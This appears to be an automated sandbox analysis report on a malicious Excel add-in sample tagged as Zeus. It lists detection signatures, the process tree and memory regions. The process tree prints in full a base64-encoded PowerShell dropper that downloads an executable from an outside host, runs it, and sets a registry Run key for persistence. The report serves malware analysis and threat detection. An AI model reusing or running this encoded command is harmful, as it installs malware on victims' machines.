Analysis

  • max time kernel
    107s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2022, 04:17

General

  • Target
    5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985.xlam
  • Size 31KB
  • Sample220724-ewr5fafbb6
  • SHA256 5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://a.doko.moe/vntawp.jpg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Zeus
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985.xlam"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\SYSTEM32\cMD.exe
      cMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAYQBXAHoATwBPAGQAeQA5AFgASgB6AE4AYQBDAEoANgAgACgAIAAkAHoASwBtAFoAUQA4AFEAawBrADMAdABSAEYAbABIAGwATABOAHkAYQAgACwAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACAAJAB6AEsAbQBaAFEAOABRAGsAawAzAHQAUgBGAGwASABsAEwATgB5AGEAIAAsACAAJABQAGsATwBjAEgAVQBWAEIATgBvAFcAZwBUAEgAOABYAFgASABZACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApADsAIAB9AA0ACgB0AHIAeQB7AA0ACgANAAoAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwARQBjAGgAZgBNAFAAcQByAGkAYwBVADkASQBCAHoALgBlAHgAZQAnADsADQAKAGEAVwB6AE8ATwBkAHkAOQBYAEoAegBOAGEAQwBKADYAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AdgBuAHQAYQB3AHAALgBqAHAAZwAnACAAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA7AA0ACgAkAGsANwBnAEcAYQB5AGYASQBxAFAAbgBJAHYAVwBjAGQAZwBjAEwASQBBAG4AcgAgAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABFAGMAaABmAE0AUABxAHIAaQBjAFUAOQBJAEIAegAuAGUAeABlACcAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAALQBOAGEAbQBlACAAJwBlAHgAcABsAG8AcgBlACcAIAAtAFYAYQBsAHUAZQAgACQAawA3AGcARwBhAHkAZgBJAHEAUABuAEkAdgBXAGMAZABnAGMATABJAEEAbgByACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACcAUwB0AHIAaQBuAGcAJwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA==
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAYQBXAHoATwBPAGQAeQA5AFgASgB6AE4AYQBDAEoANgAgACgAIAAkAHoASwBtAFoAUQA4AFEAawBrADMAdABSAEYAbABIAGwATABOAHkAYQAgACwAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACAAJAB6AEsAbQBaAFEAOABRAGsAawAzAHQAUgBGAGwASABsAEwATgB5AGEAIAAsACAAJABQAGsATwBjAEgAVQBWAEIATgBvAFcAZwBUAEgAOABYAFgASABZACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApADsAIAB9AA0ACgB0AHIAeQB7AA0ACgANAAoAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwARQBjAGgAZgBNAFAAcQByAGkAYwBVADkASQBCAHoALgBlAHgAZQAnADsADQAKAGEAVwB6AE8ATwBkAHkAOQBYAEoAegBOAGEAQwBKADYAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AdgBuAHQAYQB3AHAALgBqAHAAZwAnACAAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA7AA0ACgAkAGsANwBnAEcAYQB5AGYASQBxAFAAbgBJAHYAVwBjAGQAZwBjAEwASQBBAG4AcgAgAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABFAGMAaABmAE0AUABxAHIAaQBjAFUAOQBJAEIAegAuAGUAeABlACcAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAALQBOAGEAbQBlACAAJwBlAHgAcABsAG8AcgBlACcAIAAtAFYAYQBsAHUAZQAgACQAawA3AGcARwBhAHkAZgBJAHEAUABuAEkAdgBXAGMAZABnAGMATABJAEEAbgByACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACcAUwB0AHIAaQBuAGcAJwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4392

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1672-143-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp

        memory/1672-130-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp

        memory/1672-133-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp

        memory/1672-134-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp

        memory/1672-135-0x00007FFBD6070000-0x00007FFBD6080000-memory.dmp

        memory/1672-136-0x00007FFBD6070000-0x00007FFBD6080000-memory.dmp

        memory/1672-132-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp

        memory/1672-146-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp

        memory/1672-131-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp

        memory/1672-145-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp

        memory/1672-144-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp

        memory/4392-141-0x00007FFBEF7F0000-0x00007FFBF02B1000-memory.dmp

        memory/4392-140-0x00007FFBEF7F0000-0x00007FFBF02B1000-memory.dmp

        memory/4392-139-0x000001CEA0780000-0x000001CEA07A2000-memory.dmp